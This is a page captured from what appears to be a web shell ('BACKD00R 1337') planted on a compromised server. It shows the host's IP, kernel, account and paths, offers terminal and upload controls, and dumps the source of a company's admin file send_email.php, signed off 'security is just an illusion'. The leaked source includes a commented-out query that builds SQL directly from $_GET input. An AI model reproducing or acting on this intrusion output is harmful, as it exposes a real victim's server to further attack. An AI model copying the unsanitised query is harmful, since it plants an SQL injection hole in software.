BACKD00R 1337
Server IP : 164.52.202.56  /  Your IP : 216.73.216.231
Web Server : Apache
System : Linux e2e-70-56.ssdcloudindia.net 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Tue Nov 5 04:50:16 EST 2024 x86_64
User : rubyaromatics ( 1052)
PHP Version : 7.2.34
Directory (0755) :  /home/rubyaromatics/public_html/controller/pro/../

[  Home  ][  Terminal  ][  Upload File  ]

Current File : /home/rubyaromatics/public_html/controller/pro/../send_email.php
<?php
require('function.php');
require('database.php');
$ob = new database();
login_check();
?>
<!DOCTYPE html>
<html>
<head> 
<meta http-equiv="content-type" content="text/html;charset=UTF-8" />
<meta charset="utf-8" />
<title>Ruby Aromatics</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
<meta content="" name="description" />
<meta content="" name="author" />

<!-- BEGIN PLUGIN CSS -->
<link href="assets/plugins/pace/pace-theme-flash.css" rel="stylesheet" type="text/css" media="screen"/>
<link href="assets/plugins/bootstrap-tag/bootstrap-tagsinput.css" rel="stylesheet" type="text/css"/>
<link href="assets/plugins/dropzone/css/dropzone.css" rel="stylesheet" type="text/css"/>
<link href="assets/plugins/bootstrap-wysihtml5/bootstrap-wysihtml5.css" rel="stylesheet" type="text/css"/>
<link href="assets/plugins/bootstrap-datepicker/css/datepicker.css" rel="stylesheet" type="text/css" />
<link href="assets/plugins/bootstrap-timepicker/css/bootstrap-timepicker.css" rel="stylesheet" type="text/css" />
<link href="assets/plugins/bootstrap-colorpicker/css/bootstrap-colorpicker.css" rel="stylesheet" type="text/css" />
<link href="assets/plugins/ios-switch/ios7-switch.css" rel="stylesheet" type="text/css" media="screen">
<link href="assets/plugins/bootstrap-select2/select2.css" rel="stylesheet" type="text/css" media="screen"/>
<link href="assets/plugins/jquery-slider/css/jquery.sidr.light.css" rel="stylesheet" type="text/css" media="screen"/>
<!-- END PLUGIN CSS -->

<!-- BEGIN CORE CSS FRAMEWORK -->
<link href="assets/plugins/boostrapv3/css/bootstrap.min.css" rel="stylesheet" type="text/css"/>
<link href="assets/plugins/boostrapv3/css/bootstrap-theme.min.css" rel="stylesheet" type="text/css"/>
<link href="assets/plugins/font-awesome/css/font-awesome.css" rel="stylesheet" type="text/css"/>
<link href="assets/css/animate.min.css" rel="stylesheet" type="text/css"/>
<!-- END CORE CSS FRAMEWORK -->

<!-- BEGIN CSS TEMPLATE -->
<link href="assets/css/style.css" rel="stylesheet" type="text/css"/>
<link href="assets/css/responsive.css" rel="stylesheet" type="text/css"/>
<link href="assets/css/custom-icon-set.css" rel="stylesheet" type="text/css"/>
<!-- END CSS TEMPLATE -->

<link href="assets/plugins/boostrap-slider/css/slider.css" rel="stylesheet" type="text/css"/>
</head>
<!-- END HEAD -->

<!-- BEGIN BODY -->
<body class="">
<!-- BEGIN HEADER -->
  <!-- END SIDEBAR --> 
  <!-- BEGIN PAGE CONTAINER-->
 
    <!-- BEGIN SAMPLE PORTLET CONFIGURATION MODAL FORM-->
	  <!-- BEGIN BASIC FORM ELEMENTS-->
        <div class="row">
            <div class="col-md-12">
             <div class="grid simple ">
             <div class="grid-title">
              <h4>Send <span class="semi-bold">Mail</span></h4>
              <div class="tools"> <a href="javascript:;" class=""></a> <a href="" data-toggle="modal" class=""></a> <a href="javascript:;" class=""></a> <a href="javascript:;" class=""></a> </div>
            </div>
            <div class="grid-body "> <br>
                  <div class="row">
                    <div class="col-md-8 col-sm-8 col-xs-8">
                       <?php /*?> <?php
						
						if (isset($_GET['id']))
						{
						$id = $_GET['id'];
						$p_id = $_GET['p_id'];
						$ob->query("SELECT * FROM offer where id='$id'");
						foreach($ob->rows() as $data)
						{
					   ?> <?php */?>
                      
                    <?php send_mail() ?>
                    <form role="form"  method="post" action="<?php $_SERVER['PHP_SELF'] ?>">
                     <input type="hidden" name="id" value="<?php echo $data['id'] ?>" />
					               
					   <div class="form-group">
                        <label class="form-label">Email</label>
                       <div class="controls">
               <select id="select" class="form-control" name="email" required> 
                              <?php
							$obj = new database();
							$obj->query("SELECT * FROM add_user order by id desc");
							foreach($obj->rows() as $dish)
							{
							?>
                           <option value="<?php echo $dish ['email']; ?>"><?php echo $dish ['email']; ?></option>

                            <?php
							}
							?>
                           <select/>
                        </div>
                      </div>
                       <div class="form-group">
                        <label class="form-label">Description</label>
                        <div class="controls">
                           <textarea name="desc" id="desc" cols="20" rows="4" class="form-control" required></textarea>
                        </div>
                      </div>
                      <div class="pull-right">
					  <button type="submit" name="submit" class="btn btn-success btn-cons"><i class="icon-ok"></i> Send</button>
					  <button type="button" class="btn btn-white btn-cons">Cancel</button>
					</div>
                     </form>
					<?php  ?>
					
                    </div>
                  </div>
                </div>
              </div>
            </div>
        
	
    </div>
  </div>
<!-- BEGIN CHAT --> 

<!-- END CHAT --> 
<!-- END CONTAINER -->
<!-- BEGIN FOOTER -->
<!-- END FOOTER -->
<!-- BEGIN CORE JS FRAMEWORK-->

<!-- END PAGE LEVEL SCRIPTS -->
<!-- END JAVASCRIPTS -->
</body>
</html>

security is just an illusion